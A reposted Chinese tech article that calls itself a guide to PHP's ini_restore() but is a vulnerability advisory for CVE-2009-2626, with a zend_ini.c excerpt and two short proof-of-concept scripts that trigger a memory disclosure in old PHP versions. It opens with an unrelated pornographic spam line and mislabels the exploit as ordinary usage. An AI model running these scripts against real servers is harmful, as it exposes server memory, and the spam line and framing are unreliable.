自拍偷在线精品自拍偷,亚洲欧美中文日韩v在线观看不卡

PHP函數(shù)restore()重置PHP配置環(huán)境

開發(fā) 后端
我們可以運用PHP函數(shù)restore()重置PHP配置環(huán)境時PG()類中的變量會顯示任意部分的內(nèi)存。我們給出了詳細的使用方法,希望對大家有所幫助。

PHP作為一種功能強大的HTML嵌入式語言受到廣泛的運用,尤其適合于WEB開發(fā)中。下面我們將為大家詳細介紹有關(guān)PHP函數(shù)restore()的相關(guān)用法。#t#

影響版本:
PHP PHP 5.3.0
PHP PHP 5.2.10漏洞描述:
BUGTRAQ ID: 36009
CVE ID: CVE-2009-2626

在使用PHP函數(shù)restore()重置PHP配置環(huán)境時PG()類中的變量會顯示任意部分的內(nèi)存。如果要利用這個漏洞,攻擊者必須要通過ini_set()函數(shù)聲明變量。

- ---zend_ini.c---

  1. static int zend_restore_ini_entry_cb
    (zend_ini_entry *ini_entry, int stage  
  2. TSRMLS_DC) /* {{{ */  
  3. {  
  4. if (ini_entry->modified) {  
  5. if (ini_entry->on_modify) {  
  6. zend_try {  
  7. /* even if on_modify bails out, we 
    have to continue on with restoring,  
  8. since there can be allocated variables 
    that would be freed on MM  
  9. shutdown  
  10. and would lead to memory corruption 
    later ini entry is modified again  
  11. */  
  12. ini_entry->on_modify(ini_entry, 
    ini_entry-
    >orig_value,  
  13. ini_entry->orig_value_length, 
    ini_entry-
    >mh_arg1, ini_entry->mh_arg2,  
  14. ini_entry->mh_arg3, stage TSRMLS_CC);  
  15. } zend_end_try();  
  16. }  
  17. if (ini_entry->value != ini_entry
    -
    >orig_value) {  
  18. efree(ini_entry->value);  
  19. }  
  20. ini_entry->value = ini_entry->
    orig_value;  
  21. ini_entry->value_length = 
    ini_entry->orig_value_length;  
  22. ini_entry->modified = 0;  
  23. ini_entry->orig_value = NULL;  
  24. ini_entry->orig_value_length = 0;  
  25. if (ini_entry->modifiable >= (1 << 3)) {  
  26. ini_entry->modifiable >>= 3;  
  27. }  
  28. }  
  29. return 0;  

- ---zend_ini.c---

PHP函數(shù)restore()所修改的標(biāo)記會被重置。由于沒有檢查ini_entry->on_modify()的值,PG()會超出內(nèi)存范圍。

PHP函數(shù)restore()測試方法:

本站提供程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用,風(fēng)險自負!

  1. < ?php  
  2. ini_set("session.save_path", 
    "0123456789ABCDEF");  
  3. ini_restore("session.save_path");  
  4. session_start();  
  5. ?> 
  1. < ?php  
  2. ini_set("open_basedir", "A");  
  3. ini_restore("open_basedir");  
  4. ini_get("open_basedir");  
  5. include("B");  
  6. ?> 

以上就是PHP函數(shù)restore()的相關(guān)使用方法。

責(zé)任編輯:曹凱 來源: 百度博客
相關(guān)推薦

2009-12-03 13:10:06

2011-03-21 11:43:45

LAMPPHP

2010-01-07 16:50:54

Linux配置PHP環(huán)

2009-11-17 09:32:32

PHP數(shù)值函數(shù)

2009-12-07 14:44:27

PHP文件函數(shù)

2009-12-09 16:28:32

PHP路徑函數(shù)

2009-12-09 17:14:06

PHP unset()

2009-12-08 11:10:20

PHP GD庫函數(shù)

2009-12-08 19:24:09

PHP函數(shù)索引

2009-11-18 10:22:14

PHP substr

2009-12-11 17:45:09

PHP Math函數(shù)

2013-07-26 14:59:13

2009-11-25 09:56:06

PHP數(shù)組處理函數(shù)

2009-12-11 17:39:47

PHP String函

2011-09-02 10:20:00

PHP

2015-01-04 09:49:37

PHPDocker開發(fā)環(huán)境

2011-05-11 17:40:30

PHP正則表達式

2009-11-17 14:13:34

PHP配置

2009-12-07 13:50:10

PHP函數(shù)shuffl

2009-12-04 13:54:11

PHP JSON互轉(zhuǎn)函
點贊
收藏

51CTO技術(shù)棧公眾號